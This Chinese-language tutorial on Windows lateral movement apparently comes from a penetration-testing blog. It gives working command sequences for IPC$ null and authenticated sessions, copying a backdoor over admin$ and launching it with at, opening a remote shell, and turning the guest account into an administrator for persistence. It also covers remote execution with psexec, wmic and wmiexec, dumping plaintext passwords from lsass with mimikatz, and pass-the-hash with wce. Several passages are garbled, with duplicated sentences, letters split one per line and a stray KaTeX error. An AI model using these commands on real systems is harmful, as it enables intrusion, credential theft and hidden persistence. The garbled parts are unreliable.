默认情况下,当管理员应用程序启动时,会出现“用户帐户控制”消息。如果用户是管理员,该消息会提供选择允许或禁止应用程序启动的选项。如果用户是标准用户,该用户需要输入一个本地 Administrators 组成员的帐户的密码(若Administrator用户组的用户没有密码则该密码文本框留空)。
IPC$(Internet Process Connection )
在WindowsXP windows7等系统中,隐藏着一种据说是可以“致命”的漏洞,它让很多人一听到就谈“虎”色变。在“我的电脑”上右击“管理”,依次选择“系统工具→共享文件夹→共享”,就会看到右边窗口中的默认共享。这些带有美元“$”标记的符号就是Windows系统默认共享,也就是Windows在安装完毕后自动共享的功能,很多人都听说是个漏洞。
IPC ( I n t e r n e t P r o c e s s C o n n e c t i o n ) 可以被理解为一种“专用管道”,可以在连接双方建立一条安全的通道,实现对远程计算机的访问。 W i n d o w s N T / 2000 / X P 提供了 I P C (Internet Process Connection)可以被理解为一种“专用管道”,可以在连接双方建立一条安全的通道,实现对远程计算机的访问。Windows NT/2000/XP提供了IPC (InternetProcessConnection)可以被理解为一种“专用管道”,可以在连接双方建立一条安全的通道,实现对远程计算机的访问。WindowsNT/2000/XP提供了IPC功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C , D ,D ,D,E … … ) 和系统目录 ( A D M I N ……)和系统目录(ADMIN ……)和系统目录(ADMIN)共享。所有这些共享的目的,都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的隐患
然默认共享是漏洞,微软干嘛不补上?其实默认共享是一项非常有用的功能,只是我们平时用不到罢了。微软的初衷是便于网管进行远程管理。试想一下。在一个大型网络里管理员有必要亲自跑到某台机上去看一些东西或是删除一些东西吗?这些管理员坐在主机前通过默认共享可以很轻松地办到。这是微软为了方便管理而提供的功能。不知从什么时候开始,它变成人家口中所说的漏洞了
如果你开放了所有的默认共享。人家就可以利用默认共享到你电脑里tou东西吗?答案是否定的。除非是你自己想放他进来。默认共享是管理员级别或是有相对应权限的账户的操作。你试试guest级用户能使用默认共享吗?不能!为什么说是你自己想放别人进来呢?你问问自己。你的管理员密码呢?要么直接为空。要么就是些123,1234之类的弱口令。用扫描工具短短时间内就能被猜解的。你已经打开了大门,人家有什么理由不进来呢?
就算是你密码为空或是弱口令,对方也不一定能用默认共享进入你的电脑进行管理员级别的操作。为什么?当共享方式为仅来宾方式时。任何连接的用户权限只能是guest级别的。guest能有多少权限?不信你可以做一次实验。向一台启用了仅来宾且开放默认共享的主机用net use命令进行连接。例如:net use \ip\IPC$ “password” /user:“administrator"我可以肯定的告诉你:无论你的password填的是什么。都会提醒你"命令成功完成”。你实际上得到了管理员权限吗?答案是否定的。你得到的只是guest权限。很庆幸的是,Windows XP安装后的默认共享方式就是"仅来宾"的方式。
利用IPC
,
连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码
(
当然
,
对方机器必须开了
i
p
c
,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc
,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc
漏洞
i
p
c
漏洞ipc
漏洞ipc漏洞,其实,ipc
并不是真正意义上的漏洞
,
它是为了方便管理员的远程管理而开放的远程网络登陆功能
,
而且还打开了默认共享
,
即所有的逻辑盘
(
c
并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c
并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c,d
,
e
,e
,e……)和系统目录winnt或windows(admin
)
。所有的这些
,
初衷都是为了方便管理员的管理
,
但好的初衷并不一定有好的收效
,
一些别有用心者
(
到底是什么用心
?
我也不知道
,
代词一个
)
会利用
I
P
C
)。 所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC
)。所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c , d ,d ,d,e … … ) 和系统目录 w i n n t 或 w i n d o w s ( a d m i n ……)和系统目录winnt或windows(admin ……)和系统目录winnt或windows(admin),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
示例
建立空连接
不需要用户名与密码的ipc 连接即为空连接 , 一旦你以某个用户或管理员的身份登陆 ( 即以特定的用户名和密码进行 i p c 连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc 连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc连接),自然就不能叫做空连接了.
net use \IP\ipc$ “” /user:“”
既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限
建立非空连接
如果知道账号密码的话
net use \IP\ipc$ “password” /user:“username”
删除一个ipc$连接
net use \IP\ipc$ /del
映射共享
将目标c盘映射为本地z盘
net use z: \IP\c$
删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
查看远程主机的共享资源(但看不到默认共享)
net view \IP
查看远程主机的当前时间
net time \IP
向远程主机复制文件
copy \路径\srv.exe \IP\共享目录名,如:
copy ccbirds.exe \...\c 即将当前目录下的文件复制到对方c盘内
远程添加计划任务
at \ip 时间 程序名,如:
at \127.0.0.0 11:00 love.exe
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径
(另一种方法是schtasks,这是升级版的at命令)
经典入侵模式
\1. C:>net use \127.0.0.1\IPC$ “” /user:“admintitrators”
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
\2. C:>copy srv.exe \127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的KaTeX parse error: Undefined control sequence: \winnt at position 13: 是指admin用户的c:\̲w̲i̲n̲n̲t̲\system32\,大家还可…、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
\3. C:>net time \127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
\4. C:>at \127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
(另一种方法是schtasks,这是升级版的at命令)
\5. C:>net time \127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
\6. C:>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:>copy ntlm.exe \127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
\8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
\9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
\10. C:>net user guest /active:yes
将对方的Guest用户激活
\11. C:>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
\12. C:>net localgroup administrators guest /add
将Guest变为Administrator_(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
远程命令执行
PSEXEC
psexec是pstools工具包中的一个工具,可在微软官网直接下载。是轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。
psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.1.2 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
执行原理
1、通过ipc$连接,释放psexesvc.exe到目标。
2、通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3、客户端连接执行命令,服务端启动相应的程序并执行回显数据。
(运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般来讲不太推荐在渗透时使用psexec,可用wmic,wmiexec等)
常用命令
获取管理员用户权限的交互式 shell
psexec \192.168.17.138 -u Administrator -p pass cmd
获取普通用户权限的交互式 shell,要想获取管理员权限 shell ,需要添加-h 参数。
psexec \192.168.17.138 -u test -p pass cmd
在远程系统上以 system 权限执行单条命令,有时回显只有一行,原因尚不清楚。
psexec \192.168.17.138 -u Administrator -p pass -s cmd /c “quser”
在远程系统上执行 bat 脚本
psexec \192.168.17.138 -u Administrator -p pass c:\programdata\test.bat
拷贝文件到远程机器并以交互方式运行,运行结束后会删除
psexec \192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe
其它参数
–accepteula 第一次运行会弹框,输入这个参数便不会弹框
s 以 “nt authority\system” 权限运行远程进程
h 如果可以,以管理员权限运行远程进程
d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令
工具说明
需要远程系统开启 ADMIN$ 共享
建立 ipc 连接后可以不指定用户名和密码
不能仅拷贝文件不执行,只需要拷贝时可以建立 ipc 连接后c opy
在启动psExec建立连接之后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,而且psexec退出时有可能服务删除失败,所以不推荐使用psexec
net use+at
建立一个ipc连接
net use \192.168.17.138\C$ “pass” /u:“workgroup\Administrator”
拷贝文件到远程系统上
copy s.exe \192.168.17.138\c$\RECYCLER\
查看远程主机当前时间
net time \192.168.17.138
添加计划任务在远程系统上执行命令
at \192.168.17.138 15:18 cmd.exe /c “ipconfig /all >c:\programdata\error.log”
添加计划任务在远程系统上执行bat脚本
at \192.168.17.138 15:18 c:\programdata\test.bat
查看at任务列表
at \192.168.17.138
删除at计划任务,运行完成后一定要删除计划任务!
at \192.168.17.138 1 /delete
查看所有ipc连接
net use
删除指定ipc连接
net use \192.168.17.138\C$ /del
删除所有ipc连接(删除前记得确认是否都是自己测试中建立的连接)
net use * /del /y
WMIC
WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。
常用命令
在远程系统上执行 bat 脚本
wmic /node:192.168.17.138 /user:test /password:pass process call create c:\programdata\test.bat
在远程系统上执行单条命令
wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
工具说明
1、需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
2、远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
3、wmic 会以管理员权限在远程系统上执行命令
4、防火墙开启将无法连接
5、如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。
WMIEXEC
WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
常用命令
获取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password
在远程系统上执行单条命令
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password “cmdkey /list”
在远程系统上执行 bat 脚本
cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:\programdata\test.bat
上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。
Tips:如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可。
其它参数
-wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令
(由于WMI只负责创建进程,没有办法可以判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo 或者ping之类的,这时候读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。比如ping结果不能读取完整,而且命令执行完后目标服务器上的wmi.dll结果文件并没有被删除!为了防止出现这种情况,于是在shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。)
-persist 程序会在后台运行,不会有结果输出
(由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。 所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写,如果执行不带任何参数的nc.exe也是这种效果 出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。 为了解决这个问题,加入了-persist选项。 当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。 这样就可以运行nc或者木马程序了)
下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时
间的,可以自行更改。
Const Path = “C:”
Const FileName = “wmi.dll”
Const timeOut = 1200
工具说明
需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
wmicexec.vbs 会以管理员权限在远程系统上执行命令
virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm查杀
mimikatz
mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
命令
- cls—————————–清屏
- exit—————————-退出
- version————查看mimikatz的版本
- system::user—–查看当前登录的系统用户
- system::computer——-查看计算机名称
- process::list——————列出进程
- process::suspend 进程名称 —–暂停进程
- process::stop 进程名称———结束进程
- process::modules –列出系统的核心模块及所在位置
- service::list—————列出系统的服务
- service::remove———–移除系统的服务
- service::start stop 服务名称–启动或停止服务
- privilege::list—————列出权限列表
- privilege::enable——–激活一个或多个权限
- privilege::debug—————–提升权限
- nogpo::cmd————打开系统的cmd.exe
- nogpo::regedit ———–打开系统的注册表
- nogpo::taskmgr————-打开任务管理器
- ts::sessions—————–显示当前的会话
- ts::processes——显示进程和对应的pid情况等
- sekurlsa::wdigest—–获取本地用户信息及密码
- sekurlsa::tspkg——获取tspkg用户信息及密码
- sekurlsa::logonPasswords–获登陆用户信息及密码
获取windows 登陆密码
第一步:根据你系统选择对应的版本,双击打开
第二步:输入输入privilege::debug 提升权限
第三步:输入inject::process lsass.exe sekurlsa.dll 将sekurlsa.dll 注入到lsass.exe 中
第四步:输入sekurlsa::logonPasswords full 即可获取hash和当前用户的明文密码
哈希传递攻击(Pass The Hash,PTH)
如果内网主机的本地管理员账户密码相同,那么可以通过pass the hash远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用pass the hash的渗透方式往往是这样的:
- 获得一台域主机的权限
- Dump内存获得用户hash
- 通过pass the hash尝试登录其他主机
- 继续搜集hash并尝试远程登录
- 直到获得域管理员账户hash,登录域控,最终成功控制整个域
原理
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
使用wce进行hash注入
在内网渗透时,很经常会碰到好不容易提取出了hash,但是无法破解。
wce号称内网渗透神器,其中有一个功能就是hash注入。
测试环境:
目标 windows2008 【192.168.200.128】hash如下:
测试机:
windows7【192.168.200.5】
在无法破解192.168.200.128的administrator密码时,我们可以采用hash注入
先dir目标的c$(前提是目标有开启C盘共享)
会提示账号密码错误。
使用wce
格式:
wce.exe -s 账号:主机名或域的名字:LM:NTLM
提示注入完成。
再dir目标机器的C盘试试